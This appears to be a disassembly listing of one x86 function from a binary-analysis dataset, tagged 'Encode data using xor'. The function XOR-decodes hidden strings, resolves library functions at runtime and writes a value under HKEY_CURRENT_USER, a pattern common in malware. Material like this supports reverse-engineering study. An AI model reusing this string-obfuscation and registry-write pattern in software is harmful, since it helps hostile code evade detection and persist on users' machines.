Function at 0x40dbbe
Capabilities:
Encode data using xor

Disassembly:
push 0xec
mov eax, 0x43612d
call fcn.0041c69a
push 0xf
pop ebx
mov dword [ebp - 4], 1
lea ecx, [ebp + 8]
cmp dword [ebp + 0x1c], ebx
mov eax, dword [ebp + 0x18]
cmova ecx, dword [ebp + 8]
add eax, ecx
cmp dword [ebp + 0x1c], ebx
lea ecx, [ebp + 8]
cmova ecx, dword [ebp + 8]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040e454
mov byte [ebp - 4], 2
lea ecx, [ebp + 0x20]
cmp dword [ebp + 0x34], ebx
mov eax, dword [ebp + 0x30]
cmova ecx, dword [ebp + 0x20]
add eax, ecx
cmp dword [ebp + 0x34], ebx
lea ecx, [ebp + 0x20]
cmova ecx, dword [ebp + 0x20]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x28]
call fcn.0040e454
push 6
pop ecx
mov byte [ebp - 4], 3
lea edi, [ebp - 0x98]
mov esi, str.uQ_VHP_t_t
rep movsd dword es:[edi], dword [esi]
push 0x36
xor ecx, ecx
pop ebx
movsw word es:[edi], word [esi]
xor edx, edx
mov eax, ecx
div ebx
add edx, 0x34
xor word [ebp + ecx*2 - 0x98], dx
inc ecx
cmp ecx, 0xd
jl 0x40dc3e
lea eax, [ebp - 0x98]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40ddb2
cmp byte [str.CQM_C8], 0
lea edi, [ebp - 0x7c]
mov esi, str.fPQtJ_OYv_F
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
je 0x40dc99
push 0x36
xor ecx, ecx
pop edi
xor edx, edx
mov eax, ecx
div edi
add dl, 0x34
xor byte [ebp + ecx - 0x7c], dl
inc ecx
cmp ecx, 0x10
jl 0x40dc86
lea eax, [ebp - 0x7c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, 0x4402b4
mov dword [ebp - 0x48], eax
lea edi, [ebp - 0x6c]
xor ecx, ecx
push 0x36
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x34
xor byte [ebp + ecx - 0x6c], dl
inc ecx
cmp ecx, 0xf
jl 0x40dcba
lea eax, [ebp - 0x6c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp byte [0x4402db], 0
lea edi, [ebp - 0x5c]
mov esi, str.fPQtTVIwXG_
mov dword [ebp - 0x4c], eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
je 0x40dd07
push 0x36
xor ecx, ecx
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x34
xor byte [ebp + ecx - 0x5c], dl
inc ecx
cmp ecx, 0xc
jl 0x40dcf4
lea eax, [ebp - 0x5c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp dword [ebp - 0x48], 0
mov dword [ebp - 0x50], eax
je 0x40ddab
cmp dword [ebp - 0x4c], 0
je 0x40ddab
test eax, eax
je 0x40ddab
push 0x17
pop ecx
mov esi, str.gZPCOXH_pW2.1__1
lea edi, [ebp - 0xf8]
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push 0x36
mov ecx, esi
pop edi
xor edx, edx
mov eax, ecx
div edi
add edx, 0x34
xor word [ebp + ecx*2 - 0xf8], dx
inc ecx
cmp ecx, 0x2e
jl 0x40dd44
push esi
lea eax, [ebp - 0x44]
push eax
push esi
push 2
push esi
push esi
push esi
lea eax, [ebp - 0xf8]
push eax
push 0x80000001
call dword [ebp - 0x48]
test eax, eax
jne 0x40ddab
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x28]
cmp dword [ebp - 0x14], 7
lea ecx, [ebp - 0x40]
cmova edx, dword [ebp - 0x28]
cmp dword [ebp - 0x2c], 7
lea eax, [eax*2 + 2]
push eax
cmova ecx, dword [ebp - 0x40]
push edx
push 1
push esi
push ecx
push dword [ebp - 0x44]
call dword [ebp - 0x4c]
push dword [ebp - 0x44]
call dword [ebp - 0x50]
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [ebp - 0x28]
call fcn.00408b63
lea ecx, [ebp - 0x40]
call fcn.00408b63
lea ecx, [ebp + 8]
call fcn.00402636
lea ecx, [ebp + 0x20]
call fcn.00402636
call fcn.0041c649
ret